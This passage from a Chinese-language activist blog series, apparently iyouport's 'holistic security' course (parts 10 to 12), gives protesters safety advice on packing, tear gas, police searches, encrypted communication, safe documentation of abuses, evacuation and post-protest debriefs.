2、一些现金，以备不时之需 —— 是现金，而不是银行卡和在线支付账户！能识别您的手机的人就能冻结您的账户，这是一种威胁抗议者妥协的常用方法。如果您有现金，就不需要担心这样的状况。

您往往不会知道一场抗议活动会持续多久，有现金在身上会很方便。

3、舒适的衣服，让您可以轻松活动的款式 —— 不论您的抗议活动是否完全和平非暴力，您都应该为镇压做好准备。为您的应激反应动作做好准备，随时可以奔跑、攀爬、躲闪，衣服和鞋子的选择很重要。

4、如果您需要带手机，可以考虑换一张新的没有实名的SIM卡，或者新的一次性手机。记得提前充值通话时间，并携带一个移动充电器。

5、紧急联系人：考虑将最重要的联系人写在手臂或腿上 —— 是写在自己身上！而不是放在手机里。您的手机可能丢失、可能被警察抢走、可能没电和摔坏，您不应该把最重要的东西放在里面。

您的紧急联系人应该是您最信任的人和最可能需要的人，比如律师、亲属、队友，您肯定知道您需要谁。

6、急救和卫生：小型急救箱、卫生纸和卫生巾 —— 可以帮助您自己处理简单的伤势，也可以帮助身边人。一个团队中只需要一个人携带急救和卫生用品即可，但是，其他人需要知道如何随时联系到这个人，不要走散。

7、食物和水 —— 带一些高能量的体积小的食物，巧克力或者压缩饼干、能量棒等，以及紧急情况下既能饮用又能清洗伤口的洁净水。带上足够的物资，以备万一有什么变故，您也能维持比计划中的抗议时间更长的时间。

8、带上泳镜/护目镜、围巾、面罩 —— 以抵制催泪瓦斯，携带一些治疗催泪瓦斯引起的烧伤的抗酸溶液。

比如抗酸药（例如美乐事）水溶液可以对抗催泪弹造成的烧伤，或者稀释过的抗酸药和碳酸氢钠水溶液。在遇到催泪瓦斯时，首先要做的就是尽快远离，躲避到通风良好、有新鲜空气的地方；由于比空气重的CS气体会往下沉，因此不要蹲在地上。要快速跑起来。

9、考虑携带一个小型相机，用以记录警察的暴行 —— 您的团队中最好可以安排特定的接受过这方面专业训练的队友负责拍摄记录。如前所述，您的亲密团队已经在行动之前做好了明确分工，并且每个人之间都知道彼此的角色，以及在什么时候如何与最需要的队友协作。

10、在一些国家，没有携带身份证件可能会成为逮捕的借口，但在其他国家，没有义务携带身份证件，甚至身份证件可能会被警察用来对付你。与您的亲密团队协调是否要带身份证件，如果要带，带哪种。

上图组织这本书在这里下载；https://www.patreon.com/posts/hei-shi-zi-hui-42154240

做好被搜查的准备

「图」

在许多情况下，维稳当局拦截和搜查抗议者是一种很常见的做法，他们声称防止将武器或其他非法物品(如酒精或毒品)带到抗议现场。然而，这也常常被用作对抗议者进行恐吓和骚扰的借口。

很可能有既定的行为准则来规范警察可以如何搜查你。请咨询相关律师，了解警方在此面临的法律约束，以及每种情况下的实践现实。了解您的权利。

准备并练习任何应对搜查的口头抵抗（如果在某些情况下可以抵抗的话），并确保您没有携带任何非法物品。并且，如果遇到被搜查的情况，要告诉您的团队，让大家提高警惕。〇

—— 未完待续 ——

原文

协调性很重要，从场内到场外：整体安全（10）- 安全是保持战斗力的绝对必要条件 - iyouport

整体安全！-课程和训练

【2021年4月7日存档】拒绝所有那些试图将安全技能和“缺乏勇气” 联系在一起的论调，他们是骗子。勇气从来都不是愚蠢和盲目的，如果您希望自己的行动可持续并取得成效，安全技能就是您必不可少的武器

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《头疼医头是不够的：整体安全（1）- 行动主义能持续的关键》
- 《“抓特务” 不是解决方案：整体安全（2）- 威胁响应》
- 《知己知彼，是有效行动策划的第一步：整体安全（3）- 愿景、战略和参与者》
- 《夸大危险并无助于解决问题：整体安全（4）- 充分剖析您的信息资产》
- 《每一种变化都有原因，您需要及时抓取威胁信号—整体安全（5）- 紧贴时局》
- 《草木皆兵和”爱谁谁”都只会带来更多的危险：整体安全（6）- 开发您的能力，缓解您的脆弱性》
- 《充分的准备和应急反应同样重要：整体安全（7）- 计划是“活的”》
- 《安全是追求，而不是任务：整体安全（8）- 准备好进入行动》
- 《您需要真正的 “自己人”：整体安全（9）- 进入战斗状态》

已经进入行动部分了。

许多人权维护者和活动家严重依赖电脑和手机来组织和协调和平抗议

活动。然而，这使得没收、盗窃、和监视您的电子设备和通信能力成为了试图限制言论和集会自由的镇压者的 “优先事项”。

虽然在某些情况下，透明度和与国家和社会的公开接触可以是有益的安全工具，但是，在更多情况下，保护抗议参与者的身份信息和敏感通信信息是非常重要的，至少在某段重点时间内是如此。

📌 如果您正在计划或协调通过互联网或使用手机进行动员和联络的抗议活动，您应该考虑如何保护您自己和您的团队的身份。这与您的 “勇气” 无关，而是将决定您的运动的可持续性和成效。

有时，当局或其他人会对社会运动进行密切的监控，以预测、防止或破坏任何抗议活动。政府和私人公司使用窥探、渗透、和自动搜索等战术，利用特定的文字或图像信息识别社交网络中的用户，以及人们之间的关系，不仅能定点打击，还能连锅端。

因此，依靠社交媒体来组织抗议活动是很危险的，因为通常会受到严密的监视。您至少需要首先衡量自己的情况，方法在这里《活动家和组织者究竟是否可以使用社交媒体进行宣传动员？》，以及，基本保护措施《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》

在组织或参与行动时，您可能希望避免在社交网络上使用自己的真实姓名、避免与可能受到社交媒体网站监视的团体有关联、避免接受 “好友请求” 和其他与您以前不认识的抗议者的联系。考虑使用VPN或Tor浏览器，隐藏您的IP地址和浏览活动。具体做法在上面👆。

在抗议活动中，您的对手会使用他们拥有的一切技术能力，以查明抗议参与者的身份，因为他们想要抓捕 “价值最高的人”，也就是一场行动中影响力最大的人，以便镇压当局可以以最快速度瓦解整场运动。

📌 要做到这点，镇压当局就需要知道所有参与者的身份，以及参与者之间的关系网络和关系强弱度。这是他们的战术。而您的战术就是，尽可能阻止他们对您的了解，至少是在此给他们加大难度。

要做到这点，首先就要做到知己知彼，还记得本系列最初部分做过的练习吗 —— 了解对手、了解自己、了解地形。在这里看到镇压当局将采取哪些技术能力：《警察用哪些监视方式瞄准抗议者？》，尤其是《如何识别抗议活动中可见的和不可见的监视》。

您可以在我们的 列表-5 “护盾” 中看到提供给行动者的保护性措施，并在同一列表的 “维稳面面观” 中看到您很有可能面临哪些形式的镇

压手段 —— 即 了解对手，和了解自己。

如今全世界的活动家都知道在上场之前需要先遮住脸，但这绝非全部；您可以在上述内容中看到，镇压手段从在线到线下，丰富多样。事实上仅仅遮住脸部是没有意义的，对防御来说，如果您想让您的战术起效，您就需要至少和镇压者的思考范围一样地全面。

不过，遮住脸部可以成为一种非常不错的运动符号，比如占领运动期间使用的 “V-for-Vendetta” 面具，以及俄罗斯的 Pussy Riot 和墨西哥的 Zapatista 运动等团体使用的象征性头巾。

📌 面具/面罩可以用来为活动家团体创造一个象征性的身份，或者代表那些不能参与抗议的人。需要注意的是：在许多国家，在抗议活动中遮住自己的脸是非法的，有可能成为逮捕您的借口。在决定这样做之前，一定要确认您所在国家或地区的法律情况，在此处重复前文中的练习，与您的团队协商以确定具体风险和你们的承受能力。

📌 还有一点需要注意！如果您的面具/面罩太过普遍，也就是说，很容易可以买到或得到，您就需要小心渗透者可能佩戴同样的面具/面罩，以暴力恶性行为污染您的运动。由于媒体非常倾向于聚焦刺激性的行为和事件，于是，如果渗透者采取暴力故意违反您的运动准则，他们而不是你们，更容易被媒体捕捉，并放大负面影响，从而动摇您的运动的支柱。

这些都是您需要在行动策划阶段考虑到的问题，对此您可以采取一些预防措施 —— 比如提前注册一个运动 “官方” 社交媒体账户和网站，严格管理这些信息窗口的权限！编辑权限一定要完全掌握在自己人手里。一旦遇到渗透，您的组织可以快速通过这些窗口纠正媒体的错误。不论暴力恶性行为是什么人实施的，您需要迅速声明切割实施者，不要令其被作为您的运动的一部分。

还记得上一集中构建的亲密团队吗？您已经为每个人分配了角色，其中就包括媒体联络人；在这里启用这个角色。

如今几乎任何防御安全建议都会告诉行动者：不要携带自己的手机。因为您的手机可能被警察抢走、被盗、在冲突中丢失，尤其是，您的手机是比您的身份证更详尽的关于您的一切的档案馆，如果警察想要构陷您，将轻而易举。记得红衣教主 Cardinal Richelieu 的名言：“给我这个世界上最诚实的人写的六行字，我一定能从中找到足够的理由来绞死他”。

手机对联络来说非常重要且方便，您需要与您的队友保持联系、及时协调，于是安全建议会告诉您，携带一部与您的身份完全无关的一次性手机。具体方案见《买不起/买不到一次性手机怎么办？这里是您在参加敏感行动/之前需要了解的事》。

📌 如您所知，如今的镇压战术不仅在抗议活动现场实施，当权者已经不满足于这点了；他们想要在抗议活动开始酝酿形成的阶段进行扼杀，即 所谓的“预测性警务”。

所以，对于行动者来说，您的防御战术不仅需要在具体的行动过程中，而是，在开始动员的最初就应该严密部署并有效实践。手机也一样，在日常您就应该做到：《手机应该有且只有一个用途：在敌对环境中保护自己（3）》。

“在敌对环境中保护自己” 系列内容讲述的正是这种情况。这里的链接是最后一集内容，其中包含完整列表。

在我们的 列表-3 “技术防身” 板块中看到更详细的安全注意事项， 列表-5 “护盾” 板块中的内容是专门提供给行动者的。

在抗议运动过程中：经常和安全地沟通

「图」

为了抗议活动的成功，您的团队各成员之间最好制定一个明确的沟通计划，以监控事态发展、协调行动和应对紧急情况。

此前您已经为队友分配了角色，每个人都明确知道自己负责哪一个部分，其他人也能知道和记住在遇到哪种情况的时候该联系哪位和哪些队友。

比如，如果有人受伤了，您不仅需要联系负责紧急医疗救助的队友，而且需要联系负责记录真相的队友，将整个过程拍摄下来；再比如，当你们中有人被捕了，其他人应该迅速知道这件事，并知道被捕的队友负责的工作需要由谁来接替 ..... 📌 设置好一套规则，把所有可能性都尽可能考虑进去，确保你们所有人都了解并记住内容。

上图中这本书在这里下载：《黑十字会：行动者应当掌握的知识技能》。

由于您可能需要处理突发事件，因此，明确在特定情况下与谁联系、

何时联系、如何联系都是很有帮助的。

您或您的亲密团体的成员之间还应该与抗议活动之外的联系人保持定期沟通，以便他们在出事时能够发出警报，比如亲人、律师、可靠的朋友、可靠的国际权利组织等。

📌 尤其是负责记录真相的队友，应该尽可能确保万一自己被捕，拍摄记录的内容也有一个安全的备份 —— 不是在云端！而是在您的亲信手中，而警察不应该知道那个人是谁。

安排时间与您的紧急联系人联系，分享安全指标，并商定：如果出了问题，你们会怎么做。如有必要，可通过民间社会组织和人权团体来进行。

📌 列出一份在紧急情况下可以联系的人和组织（包括律师等）的名单。如果您不得不将此名单保存在手机上，可以考虑使用代号/昵称来标记它们，而不是真名和身份。不使用手机号的安全通信应用是最好的，每个人使用昵称显示，而只有您知道每个联系人都是谁。

也要随身携带一份书面副本，以防手机丢失、决定不带手机、电池或通话时间用完等等状况。您可能应该考虑把最重要的号码写在胳膊或腿上，以防您的财产丢失或被没收。最好编辑该号码！不要写出完整的手机号码，不要让警察看懂，而您自己应该可以看懂。

📌 确定替代的通信手段：不要完全依靠个人设备来沟通 —— 有时公用电话可能是保持联系的唯一选择。甚至是风筝、彩色烟雾等 …… 发挥您的创意。

不要使用移动电话、短信、和没有端对端加密的通信应用，它们都很容易被窃听，而且在抗议期间，这种通信渠道被当局或其他对手监视的情况越来越常见，所以要牢记这一点。

📌 您可以在这里看到安全通信应用：《安全手册》，和《安全工具箱补充版》。尤其是您需要携带手机的情况下，一定要使用端对端加密应用。

比如，在抗议活动前后，您可以使用GPG交换加密电子邮件，使用 Jitsi Meet 进行加密语音和视频通话，使用 Jitsi（电脑）或 ChatSecure（手机）进行加密聊天。

📌有时，创建和使用自己的隐语可能是一个非常有效的替代方案，还记得新疆的异议人士是如何做的吗？在这里看到《维族妇女对战中国

的监视国家》。

您需要确保在抗议活动开启之前让您的队友练习使用所有安全工具和应用程序，以便你们知道如何识别它们是否失败、并选好可能的替代方案。

演习是个好办法。

下一集中我们将继续更新抗议活动过程中的注意事项，包括技巧提示；您不会知道什么时候能“起风”，但我们应该能做到，在风来之时，我们的帆已经坚固地撑起来。〇

—— 未完待续 ——

原文

抗议中谨防常见危险：整体安全（11）- 协作和互助就是战斗力 - iyouport

整体安全！-课程和训练

【2021年4月9日存档】如果您正在培训中实践这套教程，将其中关联的所有文章作为知识点加入您的课程

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《头疼医头是不够的：整体安全（1）- 行动主义能持续的关键》
- 《“抓特务” 不是解决方案：整体安全（2）- 威胁响应》
- 《知己知彼，是有效行动策划的第一步：整体安全（3）- 愿景、战略和参与者》
- 《夸大危险并无助于解决问题：整体安全（4）- 充分剖析您的信息资产》
- 《每一种变化都有原因，您需要及时抓取威胁信号—整体安全（5）- 紧贴时局》
- 《草木皆兵和”爱谁谁”都只会带来更多的危险：整体安全（6）- 开发您的能力，缓解您的脆弱性》
- 《充分的准备和应急反应同样重要：整体安全（7）- 计划是“活的”》
- 《安全是追求，而不是任务：整体安全（8）- 准备好进入行动》
- 《您需要真正的 “自己人”：整体安全（9）- 进入战斗状态》
- 《协调性很重要，从场内到场外：整体安全（10）- 安全是保持战斗力的绝对必要条件》

安全记录抗议现场，并安全发布

「图」

如果您在抗议或示威活动中目睹了侵犯人权的行为—— 经常会遇到的 —— 您可能想做的第一件事就是拿起自己的手机或相机把具体事件记录下来，然后在网上分享，或保存起来以供日后作为问责的证据。

但是，如果您不够小心，记录和分享侵权行为可能会让您或其他队友陷入困境，所以，您需要一些技巧。这点也是我们曾经重点关注的技能，您可以在下面看到具体做法的介绍 —— 这些内容都很重要！而本文不会更详细地解释了；如果您正在进行培训课程，请将嵌入的所有链接作为知识点进行：

- 《公民取证技巧：如何留住真相？》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《当你手握真相：最基本的防护知识》
- 案例《灾难中捍卫人权的技巧指南：公民活动家如何在COVID19期间记录真相》

📌 在点击记录和分享之前，请考虑以下几点：

首先，在您开始拍照或录像之前，要确保您自己在一个尽可能安全的空间里。理想的情况是，在您拍摄时有另一个队友负责拍摄您，反之亦然，以防您成为警察或对手攻击或骚扰的目标。这种策略可以事先与您的亲密团队计划好。

如果您使用的是智能手机，有很多方法可以安全地拍摄照片或视频。这些工具的功能和具体注意事项见👆上面的文章列表。

比如，Obscuracam 可以让您模糊脸部，以防止现场活动家的身份被警察的社交媒体情报所识别； CameraV 可以让您控制图像或视频中的元数据。

EyeWitness to Atrocities 应用程序可让您记录可合法核实的镜头和图像，可以作为证据提交给法庭；Mobile Martus 则是专门为记录侵犯人权行为而设计的。

Mobile Martus 还允许加密传输信息，您可以在线上传内容，同时使用 Orbot 保护您的身份。

发送文件时，请避免使用未加密的彩信。考虑使用像 Signal 这样的端到端加密通信应用，或者GPG加密邮件。

如果您把内容存储在SD卡上，可以考虑对手机进行加密，或者让卡

“跑路” —— 采取接力的形式把它交给您信任的队友，由队友把它带到安全的地方。

如果您在活动中记录了任何侵犯人权行为，现在想直接发布或分享，您可能需要采取一些具体措施来保护您的身份和图片或视频中其他人的身份。

📌 基本做法见：《在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作》。

图片和视频包含EXIF数据，这是一种元数据，可以识别图片的拍摄地点、时间，甚至是由谁拍摄的。您可以使用 Metanull、元数据匿名工具箱、或 CameraV 等工具删除这些元数据。具体做法在这里看到《都是工具，从自我保护到有效利用 》。

📌 尤其是，使用这些工具必须具备战略性，因为根据不同情况，有些时候您可能需要保留元数据，以将此信息作为可供法庭采用的证据。

CameraV 还可以用来为图片或视频添加额外的元数据，这对信息验证来说非常有用。

当上传或分享材料时，通过使用Tor浏览器（或Android智能手机的Orbot）或加密的VPN服务来掩盖您的踪迹。

如果您担心分享您所收集的信息的安全性和法律影响，请向律师和人权组织寻求专家建议和支持。确保保存安全的备份！并考虑是否保存非匿名的资料 —— 如果是，如何保存。

- 《如何在Linux上安装Tor浏览器：3种方法》
- 《如何在Android上设置和使用Tor》
- 《如何在你的网页浏览器中使用Tor网络？》
- 《如何在运行 Manjaro Linux 或 CentOS 的计算机上安装Tor》
- 《使用 Tor 保护自己时千万不要做这九件事》

抗议中：谨防常见危险

「图」

在抗议活动中，镇压者有一些常见的战术经常被用来对付活动家，所

以，您的制定自己的战术时需要针对这套镇压手段做好准备。

镇压者的战术是有规则的，这就是为什么我们正在进行新系列 “示威者指南” 的原因之一；该系列着眼于研究警用武力和相对应的防御工具，以便帮助您通过观察镇压部队的布局，就能预测到他们将采取哪种战术。

但警察和镇压部队的冷热兵器还不是抗议者面对的全部威胁，监视技术、心理战、信息战等，都需要被作为具体的威胁模型加入您的战术策划中予以分析。在我们的列表-5中看到具体分析和防御方法。

您也可以观察任何可能对抗议活动构成威胁的个人的行动，比如疑似的渗透者，并与您的亲密团队或更广泛的抗议活动同盟分享您观察到的迹象—— 例如他们行为的发生了变化。

可疑渗透者行为的变化往往是暴力镇压的前奏，在这里看到我们对渗透者行为的概述；以及在下面看到经验教训：

- 《过去和现在的线人：政治渗透是如何操作的？（1）》
- 《针对反抗运动的政治渗透：政府线人如何操作（2）》
- 《渗透破坏、分裂和误导在抗议活动中广泛存在：政治渗透如何操作（3）》
- 《警察渗透抗议运动简史》

📌 请注意，在抗议活动还在进行的过程中您并不需要专注于阻止渗透，而是应该专注于防止渗透所引发的危险—— 尤其是当渗透者显示出暴力袭击他人的倾向时，那就是镇压部队暴力出击的预兆。您应该尽可能保护自己和队友的安全，揭露渗透是事后的工作。

催泪瓦斯是特别常见的 “人群控制” 武器，并越来越多地用于扼杀抗议活动。然而，催泪瓦斯中使用的化学品类型在不断变化，这意味着有效的补救措施也在变化—— 您在网上搜到的防御方法不可能一直确保有效。不久后在 “示威者指南” 系列中我们将专门讲述这点。

活动家应该试着找出您所在地区的当局使用的催泪瓦斯是哪种类型的。如果您能得到一个防毒面具，会有所帮助，但是要避免使用旧的，因为它们本身可能是有害的。

泳镜可以帮助保护眼睛，但如果受到催泪瓦斯的影响，用水稀释后的抗酸剂或敌腐特灵溶液(一种针对化学品飞溅的急救产品) 可能会有帮助。

水炮也是非常常用的暴力对付抗议者的工具。在近距离的情况下，这些水炮可能非常危险，所以，如果你看到警察要在你附近使用水炮，请尽快离开。

此外中国不知道有没有骑警，在欧洲，骑警出现在抗议现场是比较常见的。这种马喜怒无常，被它们踢到有可能严重受伤。所以您应该避免从后面接近马匹，或直接站在或蹲在马匹前面。

监测事态和共享安全指标

「图」

抗议活动中的安全形势可能会很快发生变化。分享和分析您注意到的任何可能影响您安全的异常情况都是很重要的。这些指标—— 有时被称为 “安全事件”—— 可以帮助您尽早做出决定，避免直面威胁。

📌 尽量时刻保持对周围情况的认识和关注。在抗议活动中建立一个安全小组—— 或在您的亲密团队中指定一名安全人员—— 都是很有帮助的，分工协作很重要，专职人员可以专门负责监测任何安全指标，并根据这些指标协调行动。

请注意您的团体内部和外部的指标，例如 有人携带武器或非法物质，有人试图使用暴力（他们可能是渗透者），或者有人变得疲劳、疲惫等。同时，观察警察的行为：他们携带什么装备？附近是否有便衣警察？如果您注意到他们，记下他们是谁，观察他们的行为。

当您注意到任何奇怪的事时，可以口头或通过安全的通讯渠道与您的朋友、亲密团队、或抗议活动的组织者分享；然后，您可以分析它是否构成威胁，并在必要时联合采取行动。

📌 关于监测和分析安全指标的具体方法在本系列第5集中。

照顾身边的抗议者

「图」

每个人都有参加抗议的平等权利，包括儿童、老人或残疾人。每个希望参与和平抗议的人都应该得到支持和尊重。

然而，虽然抗议对每个人来说都可能是危险的，但由于年龄或能力等具体个人因素，有些人会面临特殊的危险级别和挑战。尤其重要的

是，那些有能力的人，要向其他在抗议活动中可能面临更多伤害风险的人提供一切可能的帮助或保护。

确保所有年龄和体型的人都有代表参加有关抗议和安全决策的会议。在实施安全计划时要考虑到他们的需求，并在抗议活动中照顾他们。

也许您可以成立一个小组，负责照顾有特殊需求的抗议者（如视力障碍、听力问题或行动不便的人）。但是，作为组织者您应该避免代替他人做决定：您需要倾听他们的需求，共同设计一个计划。

下一集中我们将讨论管理心理状态的注意事项，不仅包括您自己，也包括您的队友。活动家的心理状态和掌控自己心理状态的能力是很重要的，镇压者往往很擅长观察抗议者的状态，以便趁虚而入；如文中的练习所展示的，压力和恐惧应被视为一种安全漏洞。〇

—— 未完待续 ——

原文

场内协作和场外接应同样重要：整体安全（12）- 紧急撤离和汇报评估 - iyouport

整体安全！-课程和训练

【2021年4月15日存档】不要您的对手以可乘之机

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《头疼医头是不够的：整体安全（1）- 行动主义能持续的关键》
- 《“抓特务” 不是解决方案：整体安全（2）- 威胁响应》
- 《知己知彼，是有效行动策划的第一步：整体安全（3）- 愿景、战略和参与者》
- 《夸大危险并无助于解决问题：整体安全（4）- 充分剖析您的信息资产》
- 《每一种变化都有原因，您需要及时抓取威胁信号—整体安全（5）- 紧贴时局》
- 《草木皆兵和”爱谁谁”都只会带来更多的危险：整体安全（6）- 开发您的能力，缓解您的脆弱性》
- 《充分的准备和应急反应同样重要：整体安全（7）- 计划是“活的”》
- 《安全是追求，而不是任务：整体安全（8）- 准备好进入行动》
- 《您需要真正的 “自己人”：整体安全（9）- 进入战斗状态》
- 《协调性很重要，从场内到场外：整体安全（10）- 安全是保持战斗力的绝对必要条件》
- 《抗议中谨防常见危险：整体安全（11）- 协作和互助就是战斗力》

这里将是本套课程的最后一集。

当团体成员处于压力之下，或感受到恐惧和受到威胁时，就会对集体动态产生负面影响。这样的群体可能会变得更加专制，人们可能会说

出和做出伤害对方的事。

您需要避免这种情况。

当您在抗议活动中，需要快速做出决定时，恐惧、压力以及它们所导致的人际问题，可能会阻碍您做出决定的能力，使您陷入危险之中。

📌 因此，在抗议活动之前，您应该先建立一个清晰的决策结构或共识程序，以及沟通渠道，这是很重要的。决定一套“不可谈判”措施 —— 针对给定场景的行动方案，这些方案不会在行动开始后进行辩论（如紧急撤离战略）。

如果必须对某个问题进行辩论，考虑谁需要参与讨论：整个团队，还是一个工作组？如果辩论中不必要的声音太多，就会成为一种阻碍，它会减缓决策的速度。

辩论时，尽量练习积极倾听，以避免误解，确保每个人都能理解所谈的内容。作为一个过程，📌 可以考虑共识决策法：每个参与者都可以否决一项提案，但否决权只能与反提案一起使用。也就是说，如果没有更好的建议，否决权就不成立。

偶尔，恐惧可以非常有用地帮助我们逃离危险的环境 —— 只是基于一种本能的感觉，认为有什么不对劲。如果您的直觉告诉您正处于危险之中，这种情况下建议您与自己的亲密团队中的某个人分享，并检查您的感知：您所感知的指标是什么，这一指标告诉您有什么不对劲？与您的朋友或亲密团队一起分析，并共同做出决定。

📌 亲密团队应该为分享抗议前后的恐惧和压力影响提供明确的空间。此外，为了放松和管理压力，单独或与亲密团队一起进行愉快的活动是健康的（selfcare）。考虑让您的亲密团队中的一个或多个人负责组织这项活动。

关于恐惧和对威胁的本能响应的更多信息，可以查看本系列中的第2集。

在抗议或示威活动中，您经常可能目睹当局或其他反对您的抗议目标的团体的侵犯人权行为。为了协调反应，您必须尽可能准确地报告所发生的事。而当您就是当事人时，很可能会感到害怕或痛苦，这种情况下报告事实可能会非常困难。

为了避免这种情况，您需要在行动前对此拟定一个框架/准则，在您的压力水平正常、足够冷静的情况下确立这个框架，在现场状态下您

只需要按照框架的要求去回答问题就可以了，就像做填空题。

📌 在紧急情况下，准确的信息流是至关重要的。确定需要联系的人和优先顺序，优先考虑能够提供有效和即时支持的人。

在试图报告任何事情之前，您必须做的第一件事就是尽量到一个安全的地方；然后，与 *最有可能在安全空间中的人* 取得联系 —— 最好是一开始就不在抗议现场内的人。

您应该事先准备好他们的联系方式，非常建议写下来，写在自己身上或确保不会丢失的便条上，如果只放在手机里可能是不够安全的。

📌 事先花点时间整理一下您的想法，在您的框架内加入以下问题：

- 你是谁，你在哪里？
- 发生了什么事？
- 在哪里发生的？
- 什么时候发生的？
- 谁受到了影响？
- 谁是肇事者，你怎么知道？
- 你需要什么？
- 如何以及何时能联系到你？

如果您认为某些情况很有可能发生，那么在抗议前练习一下可能会很有帮助。

📌 如果您的抗议者同伴被捕，请考虑以下几点：

1. 记下逮捕的地点和时间，以及有关逮捕官员和任何有关车辆的信息 —— 姓名或警号通常印在警服上，不难识别。这些信息对于在亲密团队、人权组织、和您想要合作的媒体中传播，至关重要。

2. 如果被逮捕的人是您的亲密团队的成员，请立刻进行点名，确认其他人都没事。正如我们在安全通信准则中讲述的，您最好能做到定时点名，以便能够及时发现失踪的队友。

3. 确认被拘留者的位置、他或她的身体状况的细节、以及当局对他或她的指控是什么。如果您认为可能会出现被逮捕的情况，您应该在抗议之前制定一个全面的策略，可以有渠道要求立即释放，最好是让本国和/或国际人权组织参与进来。

4. 如果您不希望逮捕事件阻断您的行动，则应进行重新组合，调整计

划，必要时重新为每一位队友分配职责。所以，您的战略中需要有 Plan B，把这些可能性及应对措施都加入进去。

📌 具体方案可以参见我们此前提供的《直接行动分布指南》，那是一份比较详尽的行动中战略建议。

在抗议活动结束时，或者如果您提前离开，您的第一反应可能是放松，这会导致您分心。当局的镇压者或您的任何对手都可能会利用这个时机来识别和骚扰抗议者，特别是当人们分成小团体或独自离开时。

为了保持安全，请考虑以下几点：

1. 保持警惕：继续监测您周围的情况，直到可以确定您已经抵达一个更安全的空间。

2. 不要独自离开：至少成双成对地离开，或与您的亲密团队一起离开。

3. 沟通：让抗议活动之外的人知道您要准备离开了，以及他们应该期待您何时到达预定地点。尽量使用安全的通信渠道进行！这样一来如果您没能按照预期时间抵达预期地点，您的联络人应该立刻提高警惕，推测可能出事了。

4. 反监视：如果您觉得自己被跟踪了，不要直接走小路，而是要尽量迷惑跟踪您的人，让他们难以确定您的真实目的地。对此我们有过详细介绍，见《在你的日常生活中应用隐蔽野战技术》。

5. 不要逗留：不要在抗议活动发生的区域逗留太久。

6. 考虑如何处理材料：横幅、传单和其他材料可能会把您和抗议活动联系起来。尽量安全地处理它们，或将它们打包藏到外人看不见的地方。

7. 照顾好您拍摄的照片和录音或录像：把它们藏在身上，或者在拍摄后立即让一个不显眼的 “慢跑者” 把它们带到安全的地方。详细做法我们曾经介绍过，见：

- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《公民取证技巧：如何留住真相？》
- 《当你手握真相：最基本的防护知识》

一旦您到了一个安全的空间，就和您的亲友团队一起汇报，并尝试花一些时间单独 “过渡” 您的心理状态。这同样很重要，不可能让自己持续处于紧张状态下，如果您希望在下一次行动时能保持同样充沛的精力和活力的话。

紧急情况下的安全

「图」

规划一个安全去处，就如作为联络点的安全屋，这可以在紧急情况下节省宝贵的时间。选择安全场所的过程也可以培养您的技能，以防万一，您必须随机应变。

📌 在决定安全地点时请考虑以下几点：

1. 您为什么要去：您要逃避什么，这个地方能以什么方式保护您？如果此地会导致您与您的关系网络断开、或增加他人的风险，应该尽量避免选择。

2. 您要去的地方：考虑您可以从抗议地点去哪里，在那里您是否容易被找到，您是否可以或应该带着您的电子设备去那个地方（电子设备可能会导致容易跟踪您），您在那里可以或不可以执行什么职责（职责就是为每一位队友安排的角色），以及当您到达那里时，您有希望够得到什么样的医疗协助或情感协助。

3. 如何到达那里：考虑您要逃离的对手是谁，他们的资源如何，以及您自己的资源如何（您的知识、您的车辆、您的朋友、您带的现金）：如何以及和谁一起前往最好？

4. 联系和支持结构：尽量提前让一位足够信任的队友知道您在紧急情况下可能去的地方，这样您就不必在紧急状态下通过不安全的渠道进行沟通了。如果您必须临时告诉其他人您在哪里，请尽量通过安全的渠道，让对方把消息传播给最需要知道这件事的人 —— 此人必须确定能够认同并熟练使用《安全文化》！

5. 最低限度的资源：您需要什么样的最低限度的资源才能到达那个安全的地方？

📌 上述内容我们曾经有过非常详细的介绍，见《完美隐身》系列，这个系列课程是帮助您逃离的，足够摆脱资源丰厚的追踪者（此处的链接为最后一集，其中包含该系列完整列表）。

汇报、评估和学习

「图」

抗议结束后，最好与您的亲密团队举行一次 “签出” 汇报会议。当然，这应该在一个安全的空间里进行。

这种汇报很重要，因为它有助于：

- 防止进一步的伤害，并在抗议活动后做最后的威胁评估；
- 照顾身处困境中的人；
- 吸取教训，改进今后的抗议或行动。

📌 汇报应该在抗议活动结束后不久进行。最好事先商定好要问的问题。一个样本议程可能是这样的：

1. 感觉检查 —— 每个成员都向小组汇报自己的情况。任何紧急的需求（医疗或情感）都应该优先得到处理。

2. 威胁评估 —— 分享关于当前安全形势的指标，评估抗议活动后团队成员可能面临的任何威胁，以及如何处理这些威胁（即：更新安全计划）。

3. 学习和改进的机会—— 在这次抗议活动中哪些地方做得很好？下次应该改进哪些地方？是否出现了任何没有预料到的或计划到的安全指标或威胁？

4. 接下来的步骤—— 在您的团队再次重聚之前，现在必须做出哪些决定？

确保你们耐心地相互沟通，并积极倾听，以确保每个人都清楚所吸取的教训和下一步行动。

如果您或您的团体受到不公正的待遇，考虑向有关权利组织或公民社会团体投诉。在这样做之前，先从您的律师或当地的人权团体那里获得法律建议和支持。如果您担心分享您所收集的信息的安全性和法律影响，请就如何最好地开展工作征求专家意见。

最后

「图」

恭喜您完成“整体安全”系列课程！现在您应该已经掌握了一个科学的安全框架，从策划到部署、从组织协调到任务分配、从技术安全到心理安全、从个人到团队再到联盟，这一框架将适用于绝大多数行动计划，不论是直接行动、传统行动、还是网络信息行动主义。

本系列内容中加入的所有链接都很重要，它们是相关部分的详细介绍和操作方法，如果您准备使用这套课程在自己的组织中安排培训，请将其中嵌入的链接部分作为知识点进行。

祝您的行动一切顺利安全。〇

原文

“Do Not Resist”：警察军事化的危机 - iyouport

免费书和纪录片维稳面面观

【2020年11月25日存档】当您家门口的警察挎着M-16突击步枪、挥舞着刺刀、开着重量高达二十吨的装甲车走在街上的时候 …… 您需要重新思考异议和反抗的防御问题

调用军队镇压抗议活动的决策是个大举动，不论从法律角度还是道德角度，都将受到强烈的抵制。

这就是为什么军方拒绝遵守特朗普政府的镇压令会受到全世界围观者的称颂。但是，这并没有意义 —— 当警察拥有和军队一样的武器、以军队的形式出动时，反抗者需要重新思考应对镇压的问题。

- 不要错过重要内容《如何在大规模枪击案中幸存：在灾难中幸存（10）》包括使用枪支的暴力镇压

